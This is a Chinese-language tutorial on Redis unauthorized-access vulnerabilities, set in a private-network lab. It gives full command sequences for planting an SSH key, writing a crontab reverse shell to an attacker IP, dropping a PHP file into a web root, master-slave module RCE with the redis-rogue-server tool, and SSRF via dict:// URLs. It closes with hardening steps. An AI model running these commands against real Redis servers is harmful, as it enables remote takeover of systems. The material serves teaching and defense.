您好,登錄后才能下訂單哦!
這篇文章主要為大家展示了“Redis漏洞有哪些”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“Redis漏洞有哪些”這篇文章吧。
redis是一個key-value存儲系統(tǒng)。和Memcached類似,它支持存儲的value類型相對更多,包括string、list、set、zset和hash。這些數(shù)據(jù)類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎(chǔ)上,redis支持各種不同方式的排序。與memcached一樣,為了證效率,數(shù)據(jù)都是緩存在內(nèi)存中。區(qū)別的是redis會周期性的把更新的數(shù)據(jù)寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎(chǔ)上實現(xiàn)了master-slave(主從)同步。
set xz "Hacker" # 設(shè)置鍵xz的值為字符串Hacker get xz # 獲取鍵xz的內(nèi)容 SET score 857 # 設(shè)置鍵score的值為857 INCR score # 使用INCR命令將score的值增加1 GET score # 獲取鍵score的內(nèi)容 keys * # 列出當(dāng)前數(shù)據(jù)庫中所有的鍵 config set protected-mode no # 關(guān)閉安全模式 get anotherkey # 獲取一個不存在的鍵的值 config set dir /root/redis # 設(shè)置保存目錄 config set dbfilename redis.rdb # 設(shè)置保存文件名 config get dir # 查看保存目錄 config get dbfilename # 查看保存文件名 save # 進行一次備份操作 flushall # 刪除所有數(shù)據(jù) del key # 刪除鍵為key的數(shù)據(jù) slaveof ip port # 設(shè)置主從關(guān)系 redis-cli -h ip -p 6379 -a passwd # 外部連接
1.使用SET和GET命令,可以完成基本的賦值和取值操作; 2.Redis是不區(qū)分命令的大小寫的,set和SET是同一個意思; 3.使用keys *可以列出當(dāng)前數(shù)據(jù)庫中的所有鍵; 4.當(dāng)嘗試獲取一個不存在的鍵的值時,Redis會返回空,即(nil); 5.如果鍵的值中有空格,需要使用雙引號括起來,如"Hello World";
port參數(shù)
格式為port后面接端口號,如port 6379,表示Redis服務(wù)器將在6379端口上進行監(jiān)聽來等待客戶端的連接。
bind參數(shù)
格式為bind后面接IP地址,可以同時綁定在多個IP地址上,IP地址之間用空格分離,如bind 192.168.1.100 10.0.0.1,表允許192.168.1.100和10.0.0.1兩個IP連接。如果設(shè)置為0.0.0.0則表示任意ip都可連接,說白了就是白名單。
save參數(shù)
格式為save <秒數(shù)> <變化數(shù)>,表示在指定的秒數(shù)內(nèi)數(shù)據(jù)庫存在指定的改變數(shù)時自動進行備份(Redis是內(nèi)存數(shù)據(jù)庫,這里的備份就是指把內(nèi)存中的數(shù)據(jù)備份到磁盤上)??梢酝瑫r指定多個save參數(shù),如: save 900 1 save 300 10 save 60 10000 表示如果數(shù)據(jù)庫的內(nèi)容在60秒后產(chǎn)生了10000次改變,或者300秒后產(chǎn)生了10次改變,或者900秒后產(chǎn)生了1次改變,那么立即進行備份操作。
requirepass參數(shù)
格式為requirepass后接指定的密碼,用于指定客戶端在連接Redis服務(wù)器時所使用的密碼。Redis默認的密碼參數(shù)是空的,說明不需要密碼即可連接;同時,配置文件有一條注釋了的requirepass foobared命令,如果去掉注釋,表示需要使用foobared密碼才能連接Redis數(shù)據(jù)庫。
dir參數(shù)
格式為dir后接指定的路徑,默認為dir ./,指明Redis的工作目錄為當(dāng)前目錄,即redis-server文件所在的目錄。注意,Redis產(chǎn)生的備份文件將放在這個目錄下。
dbfilename參數(shù)
格式為dbfilename后接指定的文件名稱,用于指定Redis備份文件的名字,默認為dbfilename dump.rdb,即備份文件的名字為dump.rdb。
config命令
通過config命令可以讀取和設(shè)置dir參數(shù)以及dbfilename參數(shù),因為這條命令比較危險(實驗將進行詳細介紹),所以Redis在配置文件中提供了rename-command參數(shù)來對其進行重命名操作,如rename-command CONFIG HTCMD,可以將CONFIG命令重命名為HTCMD。配置文件默認是沒有對CONFIG命令進行重命名操作的。
protected-mode參數(shù)
redis3.2之后添加了protected-mode安全模式,默認值為yes,開啟后禁止外部連接,所以在測試時,先在配置中修改為no。
攻擊機 | Kali(192.168.33.131) |
目標(biāo)機 | Ubantu 16(192.168.33.133) |
利用原理:
Redis 提供了2種不同的持久化方式,RDB方式和AOF方式.
RDB 持久化可以在指定的時間間隔內(nèi)生成數(shù)據(jù)集的時間點快照
AOF 持久化記錄服務(wù)器執(zhí)行的所有寫操作命令.
經(jīng)過查看官網(wǎng)文檔發(fā)現(xiàn)AOF方式備份數(shù)據(jù)庫的文件名默認為appendonly.aof,可以在配置文件中通過appendfilename設(shè)置其他名稱,通過測試發(fā)現(xiàn)不能在客戶端交互中動態(tài)設(shè)置appendfilename,所以不能通過AOF方式備份寫任意文件.
RDB方式備份數(shù)據(jù)庫的文件名默認為dump.rdb,此文件名可以通過客戶端交互動態(tài)設(shè)置dbfilename來更改,造成可以寫任意文件.
靶機:unbantu 16
為快速復(fù)現(xiàn),默認apt-get安裝 先進行更新 sudo apt-get upgrade 安裝 sudo apt-get install redis-server 默認安裝到 /usr/bin/redis-server 直接啟動服務(wù)就可以執(zhí)行redis-server或者redis-server+(配置文件目錄) 注意要將配置文件中的bind參數(shù)改為0.0.0.0或者注釋掉,并且修改protected-mode為no允許外連。 還需要關(guān)閉防火墻,具體命令:sudo ufw disable 查看防火墻狀態(tài):sudo ufw status
安裝之后開啟redis服務(wù)準(zhǔn)備復(fù)現(xiàn)
原理:
SSH提供兩種登錄驗證方式,一種是口令驗證也就是賬號密碼登錄,另一種是密鑰驗證。
所謂密鑰驗證,其實就是一種基于公鑰密碼的認證,使用公鑰加密、私鑰解密,其中公鑰是可以公開的,放在服務(wù)器端,你可以把同一個公鑰放在所有你想SSH遠程登錄的服務(wù)器中,而私鑰是保密的只有你自己知道,公鑰加密的消息只有私鑰才能解密,大體過程如下:
(1)客戶端生成私鑰和公鑰,并把公鑰拷貝給服務(wù)器端; (2)客戶端發(fā)起登錄請求,發(fā)送自己的相關(guān)信息; (3)服務(wù)器端根據(jù)客戶端發(fā)來的信息查找是否存有該客戶端的公鑰,若沒有拒絕登錄,若有則生成一段隨機數(shù)使用該公鑰加密后發(fā)送給客戶端; (4)客戶端收到服務(wù)器發(fā)來的加密后的消息后使用私鑰解密,并把解密后的結(jié)果發(fā)給服務(wù)器用于驗證; (5)服務(wù)器收到客戶端發(fā)來的解密結(jié)果,與自己剛才生成的隨機數(shù)比對,若一樣則允許登錄,不一樣則拒絕登錄。
條件:
1、Redis服務(wù)使用ROOT賬號啟動
2、服務(wù)器開放了SSH服務(wù),而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務(wù)器。
詳細步驟:
在攻擊機本地生成公鑰文件:
需要為我們的公鑰文件設(shè)置一個私鑰
公鑰文件默認路徑:/root/.ssh/id_rsa.pub
具體命令:
ssh-keygen -t rsa cd /root/.ssh ls cat id_rsa.pub
然后通過未授權(quán)訪問目標(biāo)機
具體命令
redis-cli -h 192.168.33.134 #連接目標(biāo)主機redis config get dir #檢查當(dāng)前保存路徑 config get dbfilename #檢查保存文件名 config set dir /root/.ssh/ #設(shè)置保存路徑 config set dbfilename authorized_keys #設(shè)置保存文件名 set xz "\n\n\n 公鑰 \n\n\n" #將公鑰寫入xz健 save #進行保存
利用公鑰進行SSH登錄攻擊機,第一次需要輸入yes
原理:
我們都知道crontab是做計劃任務(wù)的,啟動的任務(wù)存放在/var/spool/cron中,root可以修改計劃任務(wù),可以將執(zhí)行命令反彈shell直接寫入計劃任務(wù)中
條件:
root啟用Redis
redis無密碼或者弱密碼
詳細步驟:
先在攻擊機使用nc監(jiān)聽8888端口nc lvp 8888
然后去操作Redis,具體命令:
redis-cli -h 192.168.33.134 #連接redis flushall #清除所有鍵值 config set dir /var/spool/cron/crontabs/ #設(shè)置保存路徑 config set dbfilename shell #保存名稱 set xz "\n* * * * * bash -i >& /dev/tcp/192.168.33.131/8888 0>&1\n" #將反彈shell寫入xz鍵值 save #寫入保存路徑的shell文件
看到監(jiān)聽的命令行窗口已經(jīng)有彈回來的shell了(這里有很多的坑,ubantu寫入會出現(xiàn)亂碼和不回彈的情況,反彈shell測試最好還是用centos測試吧)
ubantu的坑參考這個文章https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/
條件:
知道網(wǎng)站絕對路徑,并且需要增刪改查權(quán)限
root啟動redis
redis弱密碼或者無密碼
補充:若不知道物理路徑,可嘗試尋找網(wǎng)站的應(yīng)用程序錯誤或者常見絕對路徑去嘗試。
詳細步驟:
redis-cli -h 192.168.3.134 #連接Redis config set dir /www/admin/localhost_80/wwwroot #設(shè)置要寫入shell的路徑 set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n" #寫入phpinfo()到xxx鍵 config set dbfilename phpinfo.php save
成功寫入
原理:
Redis如果當(dāng)把數(shù)據(jù)存儲在單個Redis的實例中,當(dāng)讀寫體量比較大的時候,服務(wù)端就很難承受。為了應(yīng)對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數(shù)據(jù)相同,而從機只負責(zé)讀,主機只負責(zé)寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。
在兩個Redis實例設(shè)置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上,然后在從機上加載so文件,我們就可以執(zhí)行拓展的新命令了。
條件:
Redis 版本(4.x~5.0.5)(新增模塊功能,可以通過C語言并編譯出惡意.so文件)
redis弱密碼或者無密碼
root啟動redis
詳細步驟:
模擬主從關(guān)系,具體命令
root@kali:~/桌面# redis-cli -h 192.168.33.134 192.168.33.134:6379> slaveof 192.168.33.131 6379 OK 192.168.33.134:6379> get xz (nil) 192.168.33.134:6379> exit root@kali:~/桌面# redis-cli 127.0.0.1:6379> get xz (nil) 127.0.0.1:6379> set xz xz OK 127.0.0.1:6379> exit root@kali:~/桌面# redis-cli -h 192.168.33.134 192.168.33.134:6379> get xz "xz" 192.168.33.134:6379>
設(shè)置主從關(guān)系
root@kali:~/桌面# redis-cli -h 192.168.33.134 192.168.33.134:6379> slaveof 192.168.33.131 6379 OK
然后在kali下載利用工具https://github.com/n0b0dyCN/redis-rogue-server
下載之后cd進入RedisModulesSDK目錄使用make編譯,當(dāng)然不想編譯也可以用作者給出的默認exp.so也是可以的。
有兩種使用方法
一種是交互式shell,另一種是反彈shell
交互shell演示:
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so 根據(jù)提示輸入i進入交互shell
反彈shell
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so 根據(jù)提示輸入r,接著輸入ip和端口進行反彈
ps:redis主從RCE打多了會出現(xiàn)redis癱瘓的情況,所以不到萬不得已,盡量不要打主從
原理:
SSRF攻擊的目標(biāo)是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng),這里通過SSRF使用dict協(xié)議訪問本地Redis
條件:
root啟用redis
目標(biāo)機存在dict協(xié)議
知道網(wǎng)站絕對路徑
redis無密碼或者弱密碼
詳細步驟:
使用pikachu的靶場,這里采用dict協(xié)議,目標(biāo)機需要先安裝dict協(xié)議
這里直接寫入<>會被實體編碼,?直接被截斷,暫時沒找到解決辦法 dict://192.168.33.134:6379/set:xz:<?php phpinfo() ;?> dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php dict://192.168.33.134:6379/save 直接寫入失敗,所以可以采用主從復(fù)制寫入 dict://192.168.33.134:6379/slaveof:192.168.33.131:6379 dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php 先設(shè)置好保存的路徑和保存的文件名 然后登入kali進行主從復(fù)制操作,方法和上面的一樣 127.0.0.1:6379> set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n" 再去web端執(zhí)行save操作 dict://192.168.33.134:6379/save 這樣數(shù)據(jù)直接回同步到目標(biāo)機
寫入失敗截圖:
成功寫入截圖:
redis2.6之前內(nèi)置了lua腳本環(huán)境在redis未授權(quán)的情況下可以利用lua執(zhí)行系統(tǒng)命令,這里沒有深入研究,感興趣可以看這篇文章:https://wooyun.x10sec.org/static/drops/papers-3062.html
https://github.com/Ridter/hackredis
redis未授權(quán)訪問致遠程植入挖礦腳本(防御篇)
https://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w
Windows下如何getshell?
寫入webshell,需要知道web路徑 寫入啟動項,需要目標(biāo)服務(wù)器重啟 寫入MOF,MOF每隔5秒鐘會自動執(zhí)行一次,適用于Windows2003。
1、禁止一些高危命令(重啟redis才能生效)
修改 redis.conf 文件,禁用遠程修改 DB 文件地址
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""
或者通過修改redis.conf文件,改變這些高危命令的名稱
rename-command FLUSHALL "name1" rename-command CONFIG "name2" rename-command EVAL "name3"
2、以低權(quán)限運行 Redis 服務(wù)(重啟redis才能生效)
為 Redis 服務(wù)創(chuàng)建單獨的用戶和家目錄,并且配置禁止登陸
groupadd -r redis && useradd -r -g redis redis
3、為 Redis 添加密碼驗證(重啟redis才能生效)
修改 redis.conf 文件,添加
requirepass mypassword (注意redis不要用-a參數(shù),明文輸入密碼,連接后使用auth認證)
4、禁止外網(wǎng)訪問 Redis(重啟redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服務(wù)只在當(dāng)前主機可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯。
修改配置文件redis.conf文件
Port 6379
默認端口是6379,可以改變成其他端口(不要沖突就好)
為了保證安全,您應(yīng)該阻止其他用戶添加新的公鑰。
將 authorized_keys 的權(quán)限設(shè)置為對擁有者只讀,其他用戶沒有任何權(quán)限:
chmod 400 ~/.ssh/authorized_keys
為保證 authorized_keys 的權(quán)限不會被改掉,您還需要設(shè)置該文件的 immutable 位權(quán)限:
chattr +i ~/.ssh/authorized_keys
然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設(shè)置 ~./ssh 的 immutable 權(quán)限:
chattr +i ~/.ssh
7、設(shè)置防火墻策略
如果正常業(yè)務(wù)中Redis服務(wù)需要被其他服務(wù)器來訪問,可以設(shè)置iptables策略僅允許指定的IP來訪問Redis服務(wù)。
以上是“Redis漏洞有哪些”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。